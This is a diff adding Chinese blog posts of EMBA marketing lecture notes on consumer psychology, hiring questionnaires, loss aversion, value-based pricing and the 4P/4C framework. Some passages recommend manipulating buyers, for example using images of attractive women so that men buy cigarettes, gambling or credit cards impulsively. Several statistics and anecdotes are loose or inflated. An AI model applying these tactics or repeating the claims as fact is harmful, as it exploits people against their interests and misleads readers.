+我在CEIBS（中欧国际工商学院）教过EMBA课程。我会跟学校讲，别让我教第二堂课，否则我不开课。他们就会问，为什么？我说道理很简单啊，第一个模块的课程是最轻松的。即便讲的不好，学生们也不知道什么是好的什么是不好的，他们可能会觉得EMBA就是这样的。但是等第一门课结束之后，学生们就多少有点概念了。相比之下，第二堂课就不好讲了，一旦你没做好，学生们就会说，教授你忘了什么什么。但最后一堂课就又不一样了，它是16个模块的最后一个，学生们盼着课程结束后终于可以过上正常的生活，周末可以清闲一点。如果你讲的没什么大问题，他们也会很开心，而且永远不会忘记你。所以，要么第一，要么最后，要有这样的战略性思维。 + +**战略性思维对营销管理是非常重要的，包括两个层次：** + +**第一层：这是一场“游戏”，要做一个按路线前行的棋子；** + +**第二层：要做棋手而不是棋子，要成为路线的制定者和管理者。** + +作为市场营销经理，不仅要做好营销工作，还要管理好营销工作。虽然市场营销非常广泛，却是有规律可循的。我将市场营销归纳为四个策略，在本模块课程的第二讲中将详细展开。 + +**二、市场营销是庞杂知识的集合体** + +市场营销工作也是一个收集知识，利用知识，使公司更赚钱、更成功的一个过程。作为教授，我的工作就是去创造、收集并传播知识。而营销经理要想办法把这些知识利用到商业中，去管理你们的营销。再举一个营销管理的例子。 + +**花香让女人短视** + +有一项有趣的研究，你让一个人去估计一双耐克鞋的价格，如果你往鞋里注入花的香味，这个人往往会给出更高的价格。这个现象在女性身上表现得尤为明显。在男性测试者身上也有，只是差异不是那么显著罢了。 + +在美国，如果去4S店调研，更多的新车是女性买走的。原因是在美国，20几岁的女性比同龄的男性赚得多。为了提高销售成功率，4S店里的销售人员，那些聪明的小伙子，就应该喷一些花香的香水，销售成功率就能大大提高。 + +![](/uploads/2018/11/04-06.png) + +一家杂货店可以利用这个小技巧提高销售额吗？当然可以。美国温迪克西连锁超市（英文全称：Winn-Dixie）巧妙地利用了这一点。 + +如果你来到这家超市，进门右转，售卖的第一个商品就是鲜花。大家想一想，一家杂货店卖的第一个商品应该是鲜花吗？应该是大米、土豆、肉才对吧？而且从心理学角度讲，应该把鲜花摆在这些商品的后面，当人们逛超市买完各种东西之后，他们可能觉得应该奖励自己点什么，毕竟自己这么辛苦逛超市来采购，那就最后买一束鲜花犒劳自己好了。 + +而这家店就做了看似疯狂的事情，他们把鲜花放在了进门的位置，放在所有其他货物的最前面。这种做法从心理学和逻辑学上似乎都讲不通。那他背后的逻辑到底是什么呢？ + +其实非常简单，温迪克西超市（Winn-Dixie）的管理人员很清楚，90%的商品是被女性买走的，而她们的价格判断会受到花香的影响。 + +一家超市的净利润大约在2%~3%之间，商品售价提高0.1%，利润就很可观。如果花香能提高0.1%、0.2%的价格，利润就会提高5%、10%。因此，温迪克西（Winn-Dixie）这么做背后的逻辑就是利用花香降低顾客对于价格的敏感性，从而大幅提高超市的利润率，这也是营销管理的过程。再看下一个案例。 + +**美女让男人短视** + +心理学中有一个著名的**美人效应**，说的是当男性看到美女时，会产生短视思维。 + +比如你问一个男生，现在你有两个选择，一个是现在给他20美元现金，另一个是下周给他30美元的支票，看他会选择哪个。 + +在选择之前，如果先让他们看一眼美女的照片，他们选择20美元的现金的概率就比较大。如果看的不是美女，而是一些建筑物，他们选择30美元的支票的概率就比较大。 + +各位市场营销经理们请回想一下，我们是不是经常听到类似的争论——广告中要不要放美女的照片，到底放不放呢？ + +答案是要根据情况来定。 + +如果你想要男性“关闭”他的大脑，让他变得短视，你销售的是让男性觉得现在快活今后头疼的商品，香烟、法拉利、信用卡、赌博、威士忌等等，就放美女。 + +如果你卖的是人寿保险一类的，需要男性做长远打算的东西，就不要放美女。这时候放上一个丑大叔或许能帮你大卖。 + +![](/uploads/2018/11/04-07.png) + +这也是对自己的营销进行管理，而不是盲目地做事情。再来看一个营销管理的例子。 + +**用数据分析提升工作成效** + +沃尔玛招聘收银员时，会让应聘者填写测试问卷。其中的一道题目是：如果你在一家大公司工作，你是否会在合适的时间提出自己的意见？ + +大家觉得这道题应该怎么回答？答案是如果应聘者选择了会，那沃尔玛就不会录用这个人。是不是跟大家想的有点不一样？ + +请注意，沃尔玛设置这道题的目的并不是想了解员工是否愿意提意见。而是根据以往招聘经验，根据几千上万份问卷结果的分析发现，凡是这到底回答“会提出意见”的员工，他们的离职倾向往往更高。 + +大家一定要注意这里的差别，他们并不关心你愿意不愿意，而是之前的数据结果让这道题本身变成了一个重要的测试点。 + +同样，我曾给中国一家化工公司做过咨询，这家公司招聘新员工时，测试问卷的一个题目是：如果有人背叛了自己的妻子，你还会不会跟这个人做朋友？经过调查发现，公司最优秀的那批销售专员在填写问卷时，都表示不会再跟这个人做朋友。而那些不那么优秀的销售人员选择的也许会和这个人继续做朋友。因此，如果在新的应聘者来面试时，他们也做同样的问卷，他们选择可能继续和这个背叛妻子的人做朋友，那这个人就很可能不会成为一名优秀的销售专员。 + +这样的数据分析是非常有价值的，公司可以由此甄别出更具潜力的销售人员。 + +同样，在一家汽车经销商的招聘问卷中有这样一个题目：你死之后，下辈子想成为什么动物？鲨鱼、野猪、狮子、鸟？我不知道答案是什么，但汽车经销商一定知道。他们研究了4~5年，几千名销售岗位的应聘者，发现往往选择鸟的人入职之后的销售业绩都不好，所以再遇到选择鸟的应聘者，他们就不招了。 + +但是大家也要注意。网上有很多售卖类似问卷的商家，他们声称可以帮助企业测试销售人员的能力。实际上，这些问卷并不是通用的。不同的人在不同企业会成就不一样的事业。汽车经销商可能不招选择鸟的人，但电脑经销商却觉得选鸟的人非常合适。 **因此，在选用问卷时，应充分考虑到问卷的适用性，同一问卷在不同公司适用性会有很大差异，企业应找到适合自己的问卷。** + +![](/uploads/2018/11/04-08.png) + +这是通过数据分析的例子来佐证营销管理的重要性。营销真的不是随便做做就好的，你需要用数据检验自己的假设，用数据分析失败的原因。再举一个与营销管理有关的例子。 + +**帮你小忙的人，往往愿意帮你大忙** + +**如果你希望别人能帮你一个大忙，要记得先请他帮一个小忙，这是个秘诀。** + +我曾效力于一家吸尘器公司，他们的销售方式是上门直销。他们的销售人员到客户家门口时，总会先讨一杯水喝，这就是先让客户帮一个小忙。如果客户愿意给你这杯水喝。那他推销商品的成功概率就会比较大，也就是帮了一个大忙。用“我能喝杯水吗”做开场白显然比“你家真漂亮”好太多了。 + +**这背后的逻辑是那些愿意帮你一个小忙的人，往往更愿意帮你大忙。而且在他们帮你忙的过程中，他们会更加喜欢你。**这招你也可以用在追你喜欢的人的时候。如果你想让别人喜欢你，你就先让他帮你一个小忙，事情往往是这么发展的。 + +![](/uploads/2018/11/04-09.png) + +这种方式在我后来工作的一家公司有过具体应用。我后来在一家做电话簿黄页的公司工作过，他们会在电话簿黄页中售卖广告位。这家公司曾经把30名销售人员投放到一个城市，让他们在三周内拜访所有的公司客户。最终的数据是平均有10%的客户愿意投放广告。 + +而当公司让销售人员在推销前先讨一杯水喝的时候，这个实验组的业绩提高到10.5%。看起来业绩提高不大，实际上成交率从10%提高到10.5%，销售额就会提高5%。成本不变，企业收入提高5%，利润就会提高50%。 + +这招也可以用在升职加薪上。怎么用？ +有的人可能会直接跑去跟老板说：“老板，我周末去帮你洗车吧。”这有点太过明显了，老板一眼就看出来你想要升职。 +那应该怎么做呢？你可以跟老板说：“我妈妈下周三要来，可不可以让我提前一个小时下班到机场接她？” + +一般情况下，老板肯定会答应你。然后你接着就可以说：“也许现在不是一个特别好的时机，但现在公司正好有个职位空缺着，我可不可以升职呢？” + +这时候老板往往会答应你，甚至他自己都不知道为什么会答应你。但你知道，因为你利用了这个小窍门。你升职了，公司的其他人可能会问老板为什么给你升职。老板这会儿可能会愣一下，因为他也不知道为什么，然后找个理由说：因为他很聪明！ + +如果老板不同意你的升职请求呢？别气馁，或许是今天早上老板超车被罚了，心情不好。明天再试试，或许就答应你了。 + +从常识来讲，我们对很多事物的理解是遵循物理规律的，就像把一块石头扔进池塘，会形成波动，起初的浪花比较大，越往后越小，变成小涟漪。 + +而事实上恰好相反，市场营销往往是小涟漪引起大波浪，就像天气一样，就像蝴蝶效应一样。今天有人在这里抽了一根烟，也许一年之后引发了广东的海啸。商业世界就是这样难以预料。小的变化往往会带来巨大的效用。 + +**不让你提问题的宜家** + +宜家坚持“客户少提问”的原则，他们认为，客户如果需要问问题，那就是宜家服务的失败。因为根据客户满意度调查来看，那些问过问题的客户的满意度都偏低。所以，宜家会对这些“问题客户”调研，分析他们提出问题的原因以及宜家提供了哪些无效信息。 + +于是，宜家尽可能把客户要提的问题都想到，比如“是不是手工编织”、“是不是使用童工”、“来自于哪座城市”“是不是十六世纪的设计风格”等描述。他们把这些信息全部展示出来，尽可能减少客户提问题的可能性。 + +也正因此，宜家做到了两个成就: + +第一，单位面积的销售人员数量最少； + +第二，单位销量的销售人员数量最少； + +![](/uploads/2018/11/04-10.png) + +宜家的客户满意度高，源于他们确保了每一名客户提过的问题不会被再问到，反观其他公司，他们做不到这一点。因此，**身为企业的CEO，你的职责就是要找到能给公司带来“大成功”的“小细节”，然后不断地关注这些细节。** + +**损失厌恶** + +还有什么方法能帮你达成交易？那就是不要告诉他买了你的东西会得到什么，**相反，要告诉他，如果不买你的东西会失去什么。人们“不愿意失去的意愿”比“想要得到的意愿”强烈得多。** + +看看优秀的房屋销售人员怎样利用这个弱点来制服客户？ + +上海有一家房地产公司，他们曾在康桥建造别墅，那时候卢浦大桥还未建成，交通不便，离上海市区很远。那时候（2013年左右），康桥别墅的价格在5000元/平方米左右，周边只有农田和蚊子。 + +**优秀的房屋销售人员做了一个宣传册，上面写着：** + +**10年前，你因为某种原因放弃了拥有一套虹桥别墅的机会；5年前，你又没有抓住购买金桥别墅的机会；今天，你又有一次机会了，难道你还想再失去康桥别墅吗？** + +客户听了之后，立即决定在康桥买房子了。 + +不是销售人员夸大其词，事实也确实如此，康桥房子变得越来越值钱。尤其在上海迪士尼开园之后，康桥的房价已经涨到3~4万/平方米。 + +![](/uploads/2018/11/04-11.png) + +因此，**告诉潜在客户如果他不买会失去什么，反而会大大提高客户转化率。** + +**三、市场营销是基于各种常识的哲学** + +**市场营销不仅是各种各样的知识，市场营销也是哲学，它是一种思维的方式。**纵观那些失败的公司，其失败的关键因素就是缺少营销哲学，没有营销哲学，营销工作缺少了根基。 + +某种程度上，哲学就是一种常识。**什么是常识？常识就是那些你没有意识到的，其实自己已经如此熟悉了的思维方式。人类的常识来源于教育和工作的背景。** + +在美国和欧洲，会计出身的人往往不太可能成为CEO，会计专业的学生不会做决策，很多人将此归咎于会计专业的教学方法。 + +为什么会这样？让我们看看会计人员的日常工作。他们关注的永远是资产和负债，收益和损失。会计人员每天加加减减，他们要保证会计账户两侧的数值相等。你让一名会计人员做营销经理或者CEO的工作，问他们产品该不该提价。他们会说，嗯，提价确实是个好主意，提价能使我们赚更多的钱，但是提价也会使客户流失。会计出身的CEO就会犹豫，啧啧，到底是提价还是不提价呢？ + +会计人员满脑子都是平衡，他们怎么会决策？这就是会计的常识带给他们的思维定势。 + +财务人员呢？财务人员看一个数字，他们本能地要和另外一个数字做比较。他们关注的都是这个除以那个。比如ROA（资产收益率）、ROE（净资产收益率）、ROI（投资回报率）、PE（市盈率），这些概念的公式都是一个数字除以另一个数字。 + +如果你给他们看一幅画，你问他们好看吗，他们会怎么说？不知道。因为缺少参照物，他们要用一幅画的美感除以另一幅画的美感，才能得出自己的结论。拥有这些常识，在财务日常工作中是个好事，但财务工作之外，或许就不是好事了。 + +**关注真正的价值** + +我曾给一家生产沥青的公司做咨询，他们的沥青价格是市场上普通沥青的2倍。这家公司的销售就遇到了一个难题，就是客户总要求他们证明产品质量也比其他产品好一倍！ + +客户（当地交通局的采购员）的逻辑很简单也看似合理，你的价格比别人的贵一倍，那你的产品质量怎么也得比人家的好一倍吧！ + +那么，大家思考一下，如果用的是质量差的沥青，一旦路上有洞，修补这个洞要多少成本？ + +对于交通局而言，可能是2000块钱。 + +如果北京或者上海的一条隧道上有了一个洞，修补的成本要多少？ + +你要封堵这条路，然后用水泥填满这个洞，铺平。这可能要耗费20个小时都不止。**从这个角度看，一个洞带来的成本有多少？** + +**隧道里的一个洞会导致交通堵塞，有百万辆汽车要多燃烧一个小时的汽油。路上的司机不停按喇叭，有五百辆以上的汽车需要更换新喇叭。还可能有人要赶着约会，等的焦急，心脏病突发，又撞了其他三辆车，于是整条路被封堵了。因为交通堵塞，飞行员无法按时到达机场，有20架以上的飞机要晚点。旧金山机场为此要为300多个人安排酒店房间，因为所有的转机航班都因飞行员缺位无法起飞。这就是马路上一个洞引发的连锁事件！这才是修补马路上这个洞需要的成本！** + +沥青的成本仅仅是一条马路成本的2%，在隧道里可能连0.1%都不到。从财务角度讲，交通局的采购人员可以说产品质量与价格成正比，价格提高一倍，产品质量就要好一倍，是这样吗？不是的。 + +江西省曾经发生过类似的事情。沥青公司直接去了当地市政府，和市长进行了沟通。市长的决定是用更贵的沥青，市长考虑的是经济社会的成本，是从全局的视角看待这件事情，而交通局用的是财务的逻辑。于是，江西省出台了这样一个政策，政府要求交通局务必购买价格高的沥青，否则要说明原因。 + +**因此，商品的价值与成本是无关的。**比如你买一辆奔驰车，你一定希望用最好的喷漆，这个道理很简单。我们要用这个逻辑思考问题，**多谈价值而非价格。** + +![](/uploads/2018/11/04-12.png) + +**市场营销是概率的科学** + +市场营销和会计学、金融学、工程学有着不同的常识。我给一些技术公司授课（如阿里巴巴、网易、vivo等）时，下面听课的都是工程师，这时往往需要更加小心。因为工程师的“常识”是不同的，他们会质疑你的观点，所以我会更认真地上课。 + +工程师们经常会问我：你确定你说的是对的？ + +我是做市场营销的嘛，我当然会说：是的，当然。（事实上，我从来不能百分百确定。） + +有些坐在教室后面的同学会举手，表示不赞同我的观点。比如讲到价格战不是好的营销策略时，他们表示不赞同。 + +他们说：格兰仕公司就是靠价格战取胜的啊！ + +我说：这点你说的确实没错。 + +然后问问题的那个工程师们就很开心，其他工程师也变得很兴奋，好像赢得了一场胜利。但我也没有表现得很难堪。 + +我说：你说的没错，但我说的也没错。你们觉得你们胜利了，恰恰是因为你们不懂营销。营销不是那种绝对的科学，在物理学中，100厘米就是1米，很绝对。如果你能证明100厘米不等于1米，哪怕只有一次，你就能得诺贝尔奖。**但市场营销中，例外处处都是，没什么绝对的！** + +这样的言论让工程们很紧张，他们害怕这种不确定性。他们会说：亏得你还是市场营销博士呢，真可笑。 + +其实市场营销就像医学。工程师也会面临生老病死，会到医院求药。 + +大夫说：确实有一个药能救你，不过平均5个人使用之后，4个人是无效的，还是会死掉。 + +工程师吃不吃？肯定吃，否则就死掉了。吃了这个药，还有20%的概率活下来。 + +在这种情况下，工程师又不介意不确定性了。工程师不仅会用这个药，还会马上付钱。 + +他们说：如果不管用，再给我试试其他药吧！不一定哪个就管用了！ + +市场营销经理和医生的工作是相似的，因为未知的东西总会比已知的要多。如果我们想有所作为，就要尝试给患者开处方，在尝试中获取知识，在尝试中取得成功。 + +**市场营销是动态的，要面临竞争对手、环境的变化。**因此，营销工作是很难的。就像医生说，5个人吃了药4个人还会死掉，市场营销也会面临80%的新产品失败，80%的产品没有市场，70%的广告没有帮助提高营销成效。**市场营销中，失败是常态。** + +作为一名工程师，造5座大桥，4座垮了，一定要承担责任，要坐牢。市场营销中，你要成功造一座大桥，就要先造5座，因为4座都可能会倒。而且那一座即使现在没倒，明年可能就会倒。 + +所以，市场营销的常识和工程师、会计所掌握的常识完全不同。如果工程师出错，那一定是错了。如果会计出错，那一定是前面计算错了。**但市场营销中，即使你做对了，结果也可能是错的。因此，做事正确并不能保证成功，但会提高成功的概率。** + +既然市场营销的结果不可预测，我们到底该做些什么呢？优秀的市场营销经理就像医生、就像赌徒。 + +就像前面说的，招聘销售人员，我们让应聘者填写问卷。我们不招选择“鸟”的人，因为历史告诉我们，这类人的业绩不会很好。可能有人质疑我，还有一些选“鸟”的人，他们业绩很好啊？ + +没错，但那是个例，我看的是概率。**市场营销工作就是要“管理”好这些概率，而不是个例。** + +医生如此，赌博也是如此。你不知道对方手里的牌，也不知道桌上发的牌，唯一知道的就是自己手里的牌。你玩21点（一种纸牌游戏），你手上有18点了，还要不要继续拿牌？最好是别拿了，因为再来的牌如果是3点以上，你就爆掉了。就拿着手里的18点，赢钱的概率会大一些。 + +市场营销中，我们关注的是概率。只要管理好概率，剩下的工作就交给统计学吧。 + +![](/uploads/2018/11/04-13.png) + +为了让大家再对不同人的不同常识理解的清楚些，我们再把工程师看病的例子多讲一点点。 + +工程师去看大夫，问医生有没有药，医生说有。工程师说：您能确定这药管用吗？ + +医生说不确定，5个人里还会死4个人。 + +工程师问医生：没有更好的药吗？ + +医生说：没有。 + +工程师问：澳大利亚那边有一种药好像管用。 + +医生说：哈哈，你肯定不会想用澳大利亚那种药的。咱这个药20块钱，澳大利亚的200块钱，比这个贵10倍。但澳大利亚那个药可没比咱这个好10倍，而且吃了之后，5个人里也要死3个人。 + +如果是你，你想要哪种药？是会去算一算单位人民币哪种药救人的比例更高吗？ + +第一种药，单位人民币救命的比例确实更高，所以从财务角度应该选第一种药。但是显然你不会选第一种，你一定会尝试第二种，因为你这会儿肯定不会再用财务常识来算这个账了。这就是不同的常识用于不同的情景所产生的决策的差异。 + +如此，请大家谨记，我们在做决策的时候，会下意识地遵循我们的常识。作为市场营销经理，你不仅仅要知道自己的市场营销常识，更要了解其他各种常识。 + +今后，如果再有人反对你的意见，你要好好思考一下为什么。确实有可能仅仅是因为他比较愚蠢才反驳你无比睿智的决策。但是你也应该和他好好谈谈，看看他反对的原因到底是什么，有可能不是因为他比较蠢，而是因为你们的常识体系有可能是不同的。 + +# 问答环节 + +问题：许多市场营销课程的内容都是以对个人用户为主的（B2C），那对于用户主要是企业客户的公司来讲（B2B），有什么比较好的市场营销策略？ + +柏唯良：这是个非常好的问题。我曾在飞利浦和诺基亚公司工作过，大部分的工作都是B2B，也就是针对于企业客户的。当然我也教过B2B的营销课程。 + +但在我所教的营销课中，有80%的内容都是B2C，也就是针对个人客户的。原因有两点：如果我用B2C的例子，大家都知道我在说什么，说的是哪家公司，它的竞争者以及情境，学员更容易产生共鸣。如果我用B2B的例子，只有那些业内人士才会知道，我讲的是谁，他们的历史和挑战是什么。因此，除非这节课限定为B2B营销课，否则我不会将太多B2B的内容，这是我对课程效果的考虑。另外，B2B是非常多样化的，比如机械领域是一回事，物流服务又是另外一回事。挖矿和采矿业是一回事，房地产业又是另外一回事。不同行业的市场，差异性非常大。 + +尽管如此，B2B有很多B2C可以借鉴的地方。比如我曾给一家消费品公司的员工授课，我会给他们讲采购中心的概念。他们跟我讲，公司有三种不同的客户，有经济型买家、技术型买家和用户买家，要满足三类用户的不同需求。实际上，B2B只是多了一些决策者参与到了营销中。比如你见到了一个客户，但他的背后有其他人在影响他的决策，所以你还要考虑客户背后那些人的思维。 + +B2B也可以从B2C学到很多。首先要学到的就是压根没有B2B这一说，没有公司客户，只有个人客户。其实没有B2B，只有P2P（Person to Person），人对人。因此，你不要想公司的需求和动机，你要想的是面前这位客户的动机，或者他背后的决策者的需求和动机。 + +![](/uploads/2018/11/04-14.png) + +比如沥青的案例，你不仅要跟客户讲劣质沥青造成的高昂损失，还要考虑到他的个人感受和动机。如果客户购买了这款昂贵的沥青，就是在拿他的事业冒险，在拿他的工作冒险。不要只顾着讲这个产品对百姓有什么好处，要多为客户自身想想，只有客户觉得安全，没有顾虑了，他们才会接受你的产品。因此，无论B2B还是B2C，其本质都是对人的营销。 + +结束 + +推荐阅读 + +![](/uploads/2018/11/04-15.png) diff --git a/_posts/2018-11-04-310-marketing02.md b/_posts/2018-11-04-310-marketing02.md new file mode 100644 index 0000000..b9392ab --- /dev/null +++ b/_posts/2018-11-04-310-marketing02.md @@ -0,0 +1,220 @@ +--- +layout: post +title: 【市场营销模块】 第2节 4P&4C理论与市场营销研发 +pid: 310 +tags: [mba] +--- + +**一、传统的4P和4C理论** + +本讲为大家讲授4P&4C理论与市场营销研发，课程大纲如下图： + +![](/uploads/2018/11/04-16.jpg) + +市场营销是一个非常宽泛的概念。1963年以前，市场营销的书籍就是营销故事的集锦，讲的要么是农产品、消费品的故事，要么是B2B商业模式、零售这些内容，没有统一的理论框架作为支撑。 + +大家要知道，**找到差异很容易，看到共通点是很难的。**例如，人类在认识电之前，用了各种神的理论解释这个现象。其实**很多表象的背后都有同一个逻辑，营销也是如此，看似无关的营销故事，背后却有相同的逻辑。**而发现这个逻辑的人，是杰罗姆·麦卡锡。 + +**4P理论** + +1963年的某一天，麦卡锡教授突然醒悟了，他发现这些营销现象可以用同一个理论来解释。麦卡锡教授认为市场营销离不开产品和市场，产品是市场营销的起点，有了产品，再去研究市场，如卖给谁？卖到哪里？有了市场，再去讨论价格，确定了价格，再去研究如何促销，也就是如何把产品推销出去。因此，麦卡锡教授认为**市场营销包含四个策略，分别是：产品、渠道、价格、促销。** + +于是，麦卡锡教授写了一本营销书—《基础营销学》，里面不再是B2B、B2C、农业、零售这些杂乱的内容。书中只讲了4P，即产品（Product）、渠道（Place）、价格（Price）、促销（Promotion）。这本书一经出版，便深受好评，很快就成为全世界市场营销学生的必读书。麦卡锡教授也因此赚了很多钱，有几百万美金。 + +![](/uploads/2018/11/04-17.jpg) + +当你做一件事，发现能赚很多钱的时候，会发生什么？竞争！ + +竞争接踵而至。有人提出5P，他说人（People）是5个P中最重要的。有人提出6P，科特勒提出7P。据我所知，最多有11P。真不敢想象怎样用11P来管理公司！P实在太多了！不过，五六十年过去了，4P策略还是最经典的营销理论。尽管很多人认为可以在4P基础上再添加一个P，但大家却一直没对第5个P应该是什么达成共识。 + +**4C理论** + +就在20年前，**劳特朋教授称4P理论有缺陷，他认为市场营销有两个核心：第一，4P策略；第二，从顾客视角出发。** + +劳特朋教授认为，4P没有从顾客视角看问题，因为客户不会关心产品是什么，他们只在乎需求的满足；客户不关心渠道，他们只在乎是否便利；客户也不关心价格，他们只在乎成本；客户更不关心宣传，他们在意沟通的效率。因此，**4C理论包括四个要素：消费者需求、便利、成本、沟通。** + +![](/uploads/2018/11/04-18.jpg) + +我在中国授课总被问到一个问题，就是如何赢得价格战。中国企业爱打价格战，进行残酷的低价竞争。但是价格战真的是不可取的，因为在中国，总有人乐意比你亏更多的钱。奉劝大家，**不要再搞价格竞争，要用成本竞争代替价格竞争。** + +于是，有人跟我说，我们就是在搞成本竞争啊，我们为了省电摘掉灯泡，在冬天才给员工买件薄毛衣，让前台兼任保安，我们一直想尽办法节约成本。 + +这是从企业视角看问题，**成本竞争关注的不是企业的成本，而是客户的成本。**反观我们自己，我们开过多少会是讨论降低公司成本的？又有多少次开会是为了降低客户的成本？ + +给大家讲讲航空公司的做法。如果明天飞往旧金山的航班取消了，我们的航空公司会怎么做？等你到了机场才通知你航班已取消，而且他们还是微笑着对你说这件事。航空公司竟然还认为这是“微笑服务”！这哪里有服务，最多也就是个微笑吧。不好惹的客户会问，我从宁波飞来，就是为了赶这趟航班，为什么不提前电话通知？航空公司经理可没有帮助客户降低成本的责任，电话通知你，还要多花一块钱，他们可不愿意这么做。 + +**实际上，公司增加了客户的成本，也就增加了自己的成本。但航空公司根本没有认识到这一点。怎么理解这句话呢?** + +大家都知道，当我们的价格不断上涨，直至超出客户的承受水平时，客户就会离开我们的企业。但是在航班这件事上，看似航空公司没有提升机票价格，但是，**航空公司为了省一块钱电话费，却给客户增加了远超100块钱的成本，他们看到的只是自己省的那一块钱，却看不到因此造成的客户流失，更看不到因为客户流失而造成的企业的损失。**现在，荷兰有了新的监管政策，如果飞机延误超2个小时，航空公司需要给予赔偿，比如报销打车费。因此，现在客户登机的时候，候机处的大屏幕上会告知，如果航班延误2个小时以上，会有邮件通知并提供补偿。自从这个监管政策出台以后，客户的成本就移驾到航空公司头上。于是，航空公司纷纷让经理们赶紧想办法保证客户在到达机场前能得到航班是否延误或取消的信息，保证客户在机场等候的时间不超过2个小时，从而降低客户的成本。 + +![](/uploads/2018/11/04-19.jpg) + +客户的成本不仅有显性的（货币支出），也有隐性的（时间、体力、精力等）。下面举一个客户隐性成本的例子。有一次，我在北京授课，3周一直要住在一家酒店。住了1周之后，我就不想吃酒店的饭了。我看到马路对面有一家肯德基，但一想到路中间有一个护栏，还要绕着这个护栏走400米，过一个桥，再绕回来，再想想北京八月的燥热和空气质量，我就觉得吃一顿肯德基的成本实在太高了。于是，我就只能在酒店的阳台远远望着，想吃就是吃不到。如果肯德基明白这个道理，它就应该在餐厅门口挂上一个横幅，写上餐厅的电话号码。酒店有200多个房间，一定有人点餐。一旦有那个横幅和电话，我就可以打电话点餐，然后肯德基就会派人送来炸鸡。 + +这和前面说的航空公司的故事一样，就是要告诉大家，**你们要用成本竞争代替价格竞争，但是这个成本竞争指的不是你的成本，而是客户的成本。** + +**二、市场营销研发模型** + +**麦卡锡教授提出4P策略，劳特朋教授建议大家放弃4P，应该学习4C策略。而我认为，P和C都很重要，每一个P可以促进每一个C的改进。这种用每个P改进每个C的方法，就是市场营销的研发。下面这个就是市场营销的研发模型。** + +![](/uploads/2018/11/04-20.jpg) + +当我说起“研发”，你们可能不由自主地联想起实验室里的工程师。其实市场营销研发没那么严肃，四名营销经理围着桌子坐在一起，每个人点2瓶啤酒，研究高个子的销售人员业绩好，还是矮个子的业绩好，这就是一次市场营销研发。 + +**如何利用4P&4C策略进行市场营销的研发？我们可以研究，产品（Product）如何促进便利（Convenience），如何降低客户成本（Cost），如何提高沟通的效率（Conmmunication）等等。下面给大家举例说明，如何应用4P&4C模型进行市场营销研发。** + +**通过产品降低客户成本** + +来看看谷歌的案例。谷歌起源于一个非常简单的想法，两个博士生在做学术研究期间，希望能通过某种方式评判教授的科研水平。于是，他们想了个办法，如果某个论文被引用或收录，就可以为其加分，分数的高低可以作为论文质量的评判标准。他们将这一逻辑推广到了互联网信息的筛选上。为了甄选出有价值的信息，两位创始人认为，一个信息的外部链接越多，表明它的质量越高。谷歌根据这一标准将信息排名，在搜索结果中呈现出来。 + +![](/uploads/2018/11/04-21.jpg) + +谷歌的经营理念是“不作恶”。不作恶，不是说不去抢老奶奶的钱，而是当人们搜索信息的时候，不像雅虎或其他网站，为了赚钱将网站铺满广告。大家可能对此没有体会，在网速很慢的年代，一个铺满垃圾信息的网页需要很长时间才能加载出来。这就是伤害客户，偷走他们时间的行为。谷歌的页面非常清爽，没有那些杂乱的广告信息，客户不需要等待，瞬间就可以打开页面。所以，**谷歌的创始人不仅创造了更好的产品，他们还找到一种方式来降低客户搜索信息的时间成本。** + +**促销与沟通的区别** +飞利浦公司有一个非常有趣的广告。一个孩子在灯下学习，广告称这个灯泡为学生设计，能够提高孩子的学习成绩，最后还把公司的网址放在上面，这就是促销。而客户到底关心电灯泡还是孩子的学习？当然是孩子的学习了。飞利浦把网址（www.飞利浦.com）放在了广告里面，能有多少人点进去？我觉得没有人。 + +如果广告中说，飞利浦的灯泡可以帮助孩子学习，想要了解更多帮助孩子学习的好办法吗？请点击网址(xxx)查看。现在一定有人点进去。这时候，网站再放几个小攻略，比如孩子参加考试前，请邻居在走廊放50块钱，孩子出门捡到钱就会很开心，就有助于考试成绩。有了这些小攻略，人们不仅会登陆这个可以让孩子学习更好的飞利浦网站，还会把链接转发给别人。这就是促销和沟通之间的区别，**促销指的是讲一些你想要讲的东西，沟通指的是讲一些客户想知道的东西。** + +![](/uploads/2018/11/04-22.jpg) + +**通过定价促进沟通** + +下面讲讲价格如何促进沟通。比如定价99元还是100元？很多顾客看到100元，就吓跑了。你们说，不就是差了一元钱吗，他们真不会算账。 + +其实，并非如此，从商品的定价就可以体现与客户的沟通。比如我们把价格设定为99元，表示我们知道客户关注价格，这个价格是经过精心制定的。如果定价100元，它传递的信号是，我才不管你关注不关注价格呢，价格就是这样。最糟糕的定价是101元，价格以1结尾，会把客户吓跑。因此，以9结尾的价格是在向客户传递一个低价信号，只要我们认真思考，精心设计，价格也可以促进沟通。 + +**通过渠道降低客户成本** + +接下来，我们来看渠道是如何降低客户成本的。戴尔电脑公司起步比较晚，而且外观设计很无趣，都是黑色，被乔布斯戏称“沉闷的盒子”。 + +戴尔成立第一年的时候，还只是一家名不见经传的小公司，它无法靠经销商、渠道竞争，没有钱打价格战、搞促销，甚至都没钱去设计一个好品牌。他们没钱请咨询公司设计一个响亮的公司名，所以只能以创始人的姓“戴尔”来命名。如果当初花几十万美元设计一个名字，绝不会叫戴尔，可能就叫Lenovo（联想）。 + +那么，白手起家的戴尔，是如何在15年后成为一家如此成功的电脑公司的？他们没有渠道，又缺乏资金，就拿了一张小纸片做广告，上面写着，来买戴尔电脑，有任何问题打这个电话，如果电话解决不了，我们提供上门服务，第二天就能帮你解决问题。戴尔的承诺使戴尔公司逐渐成为行业霸主。在接下来的20年，他们不断蚕食其他电脑公司的市场份额，很多电脑公司慢慢消亡，只能盼着中国企业的收购。 + +![](/uploads/2018/11/04-23.jpg) + +**一份小小的广告为什么会起到如此大的成效？这份纸片广告不仅为戴尔省了钱，也替顾客省了钱。**戴尔公司认为第一批购买电脑的用户一定是真正热爱电脑，他们有维修电脑的本领。**但任何一个行业，第一批买家和之后的买家的性质完全不同。第一批买家往往是极客，第二批以后就是普通用户了。**这些用户可能是一个律师事务所、一所学校、公司等等。虽然大公司和高校有自己的信息部，可以自己处理电脑问题，但小公司、律所没有信息部，只能靠电脑公司的售后服务。 + +我们来对比一下IBM、索尼的售后服务吧！两年前，我的一个上海朋友，他的索尼电脑出现了问题，等了8周才把电脑取回来。8周啊！他都不如买台新电脑了。制造一台新的笔记本电脑也就3个小时，维修一台电脑怎么用了8周呢？ + +我们分析一下这个维修过程。电脑出现问题，要先把这台电脑送到门店，门店收取之后，把电脑存放起来，囤了20台电脑以后，才统一被装上一辆卡车，然后送往工厂仓库，这是前四周所经历的。送到仓库之后，接下来四周开始维修，具体怎么做我就不知道了，总之要8周才修好这台电脑。 + 